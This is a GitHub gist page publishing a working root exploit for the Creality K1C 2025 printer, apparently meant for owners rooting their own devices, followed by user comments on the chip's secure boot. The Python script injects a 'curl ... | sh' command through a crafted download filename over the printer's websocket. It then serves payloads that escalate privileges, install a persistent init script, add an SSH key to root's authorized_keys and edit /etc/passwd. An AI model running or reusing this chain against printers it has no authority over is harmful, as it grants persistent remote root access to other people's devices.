Skip to content

Instantly share code, notes, and snippets.

@C0DEbrained
Last active July 17, 2026 14:08
Show Gist options
  • Select an option

  • Save C0DEbrained/c6f508109e34f43a39f4c22e901408dd to your computer and use it in GitHub Desktop.

Select an option

Save C0DEbrained/c6f508109e34f43a39f4c22e901408dd to your computer and use it in GitHub Desktop.
Creality K1C 2025 Root Exploit

K1C 2025 Root Exploit

PLEASE SEE NEW K1C-TOOLS REPO

I've migrated this script to a full repo, so that we can properly discuss the device, its firmware, and any tools created for it in a better way. Please check out that repo instead, PRs for tools are welcome!

ko-fi

All donations will help fund my new 3d printing habit...


Original Post

Click here to read the original post

Creality made the decision to remove the built-in root option from the 2025 model of the K1C, among other changes.

We're a long way off having a helper-script for this model, but at least this is the first step in the process. If anybody is interested in helping out with that, all help is appreciated!

Note: Running this script is done at your own risk. I am not responsible for any damaged or bricked devices.

ko-fi All donations will help fund my new 3d printing habit...

Usage

On Windows, WSL is recommended.

  1. Download the script.
  2. Generate a new RSA key by running ssh-keygen -t ecdsa -f ~/.ssh/id_ecdsa.
  3. If prompted for a passphrase, just press enter.
  4. Install python3.
  5. Install the dependencies: pip install websocket-client
  6. Execute the script, replacing [PRINTER_IP] and [HOST_IP] with the IP address of your printer and current device (running the script) respectively: python3 k1c-2025-exploit.py --host-ip [HOST_IP] --printer-ip [PRINTER_IP] --public-key ~/.ssh/id_ecdsa.pub
  7. You should see the printer downloading each of the files, and eventually a success message. If it hangs at [*] Sending trigger:... your firewall might be blocking requests to the web server started by the script.
  8. SSH into the machine: ssh root@[PRINTER_IP].
  9. Enjoy your root!
  10. Join the discord to help continue the work: https://discord.gg/FffAZcUJtr

Note: Each reboot, the printer will generate a new host key. Attempting to SSH again may give a warning about the host key changing. This is fine, just remove the entry from ~/.ssh/known_hosts as it explains.

⚠️ Warning ⚠️

THERE IS CURRENTLY NO FIRMWARE RECOVERY FOR THIS DEVICE. BE CAREFUL WHAT FILES YOU MODIFY OR RISK BRICKING YOUR PRINTER.

import sys
import argparse
import threading
import json
import time
from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import urlencode, quote

import websocket  # pip install websocket-client

PRINTER_PORT = 9999
SERVER_PORT = 4444

TIME = int(time.time())


class RequestHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        self.protocol_version = 'HTTP/1.0'

        if self.path.startswith("/exploit"):
            print(f"\n[!] Printer requested: {self.path}")

            # 1. Send 200 OK
            self.send_response(200)
            self.send_header('Content-Type', 'application/octet-stream')

            # 2. INJECT THE CRAFTED HEADER
            print(f"[!] Sending crafted Content-Disposition header")
            self.send_header('Content-Disposition', f'attachment; filename="{FILENAME}"')
            self.end_headers()

            # 3. Send dummy G-code content
            self.wfile.write(b"G28\n")
            print("[+] Payload sent! We should see a request for bootstrap.sh next....\n")
        elif self.path == "/bootstrap.sh":
            print("[+] Printer requested bootstrap.sh. Next up, privesc.py")
            self.send_response(200)
            self.end_headers()
            self.wfile.write(f"""#!/bin/bash
wget http://{HOST_IP}:{SERVER_PORT}/privesc.py -O /tmp/privesc.py
chmod +x /tmp/privesc.py
udhcpc -f -n -i lo -s /tmp/privesc.py -q
            """.encode())
        elif self.path == "/privesc.py":
            print("[+] Printer requested privesc.py. Next up, S999persistence")
            self.send_response(200)
            self.end_headers()
            self.wfile.write(f"""#!/usr/bin/python3  
import os
import subprocess
try:
    os.setuid(0)
    os.setgid(0)

    # Download S999persistence script to /etc/appetc/init.d/S999persistence
    subprocess.run(["wget", "http://{HOST_IP}:{SERVER_PORT}/S999persistence", "-O", "/etc/appetc/init.d/S999persistence"])
    subprocess.run(["chmod", "+x", "/etc/appetc/init.d/S999persistence"])
    subprocess.run(["sh", "/etc/appetc/init.d/S999persistence"])
except Exception as e:
    # Write to /usr/data/printer_data/logs/privesc_error
    with open('/usr/data/printer_data/logs/privesc_error', 'w') as f:
        f.write(str(e))
            """.encode())
        elif self.path == "/S999persistence":
            self.send_response(200)
            self.end_headers()
            # Note: placeholder key line; update as needed when serving this path
            self.wfile.write(f"""#!/bin/sh
[[ -d /root/.ssh ]] || mkdir -p /root/.ssh
echo '{PUBLIC_KEY}' >> /root/.ssh/authorized_keys
[[ -f /etc/dropbear/dropbear_ed25519_host_key ]] || dropbearkey -t ed25519 -f /etc/dropbear/dropbear_ed25519_host_key
[[ -f /etc/dropbear/dropbear_rsa_host_key ]] || dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key
[[ -f /etc/dropbear/dropbear_ecdsa_host_key ]] || dropbearkey -t rsa -f /etc/dropbear/dropbear_ecdsa_host_key
sed -i 's#sbin/nologin#bin/sh#' /etc/passwd
""".encode())
            print("[!] Printer fetched the persistence script. We're finished!")
            print("[!] Now, wait 30 seconds and try SSHing to the printer.")
            sys.exit(0)


def start_server():
    # Listen on Port 80 for the download request
    server = HTTPServer(('0.0.0.0', SERVER_PORT), RequestHandler)
    print(f"[*] HTTP Server listening on port {SERVER_PORT}...")
    server.serve_forever()


def trigger_exploit():
    # Connect to the printer's specific Slicer port
    ws_url = f"ws://{PRINTER_IP}:{PRINTER_PORT}/"
    print(f"[*] Connecting to {ws_url} using protocol 'wsslicer'...")

    try:
        # CRITICAL: Must request the specific subprotocol
        ws = websocket.create_connection(ws_url, subprotocols=["wsslicer"])
        print("[+] WebSocket Connected!")

        # Construct the JSON command
        payload = {
            "method": "set",
            "params": {
                # This triggers print_proc -> httpchunk -> RCE
                "print": f"http://{HOST_IP}:{SERVER_PORT}/exploit-{TIME}",
                "printId": "1337"
            }
        }

        print(f"[*] Sending trigger: {json.dumps(payload)}")
        ws.send(json.dumps(payload))

        time.sleep(2)
        ws.close()

    except Exception as e:
        print(f"[-] WebSocket Connection Failed: {e}")
        raise e


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit server and trigger")
    parser.add_argument("--host-ip", dest="host_ip", required=True, help="IP of this machine hosting payloads")
    parser.add_argument("--printer-ip", dest="printer_ip", required=True, help="Target printer IP")
    parser.add_argument("--public-key", dest="public_key", required=True, help="Public RSA Key")
    args = parser.parse_args()

    # Override globals with CLI values and recompute dependent values
    HOST_IP = args.host_ip
    PRINTER_IP = args.printer_ip
    # Read the public key from the file
    PUBLIC_KEY = str(open(args.public_key).read())

    if not PUBLIC_KEY:
        print("[-] Public key file is empty. Exiting.")
        sys.exit(1)

    SHELL_COMMAND = f"curl http://{HOST_IP}:{SERVER_PORT}/bootstrap.sh | sh"
    FILENAME = quote(f"dest\";{SHELL_COMMAND};#exploit.gcode")

    # 1. Start the HTTP server to host the payload
    t = threading.Thread(target=start_server)
    t.daemon = True
    t.start()

    # 2. Wait a moment, then fire the WebSocket trigger
    time.sleep(1)
    trigger_exploit() 
@ma5ter

ma5ter commented Feb 13, 2026

Copy link
Copy Markdown

So new mainboard they encrypted emmc?

Partially encrypted. I don't know how exactly X2000 secure boot works, but if I correctly understand pdf referred above - the chip has a bunch of one-time-programmable fuses used to turn on secure boot and on-chip memory to hold the key (not sure if it is possible to change it after initial programming).

I've checked cmd_sc binary and it simply uses /dev/sc device with custom ioctl to initialize hardware sc module

ioctl_(cs_fd, 0xC0047300, out_blk_size, signature_2k_buffer);

and then feed with data to decrypt:

result = ioctl_(sc_fd, 0xC0047301, in_data, out_data, data_size);

/dev/sc in turn is implemented in soc_security.ko module and this module uses undocumented registers block to load the hardware sc module with keys and data. Initialization procedure enables clocks for at least these hardware modules: ddr, aes, pdma, efuse, dtrng, hash.

I can't download full specs from Ingenic baidu, but it seems that sc driver uses some undocumented in publicly available pdfs (missed from memory map section) registers in blocks at 0xB3422000, 0xB3480000 and some others nearby.

AFAIK Ingenic uses OTP fuse for setting secure boot bit, then the integrated boot-rom checks SPL against NKU which is asymmetric RSA up to 2k bits.

Anyway to go further I need more detailed hardware description or at least full SVD file for this processor. But there is practically no chance to crack initial boot-rom spl verification, so we stuck to this spl+uBoot and obviously kernel image, but after boot the initial fs may be easily overrode with the first init script from /usr/apps/init.d

I've already built and deployed a web server alongside with modern glibc and run fluidd, next step will be complete overhaul with a custom clipper.

Thanks everyone for your findings, it helped a lot.

Update. All the information about the security boot is available from Ingenic's 08_kernel5.10_x2600-sdk_v4.1-20250625

@ma5ter

ma5ter commented Feb 22, 2026

Copy link
Copy Markdown

Made a recovery pre-user-boot console for K1C 2025 it may help unbrick the printer if some of essential init scripts were spoiled and you stuck in incomplete boot or security halt.

https://github.com/ma5ter/reccon

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment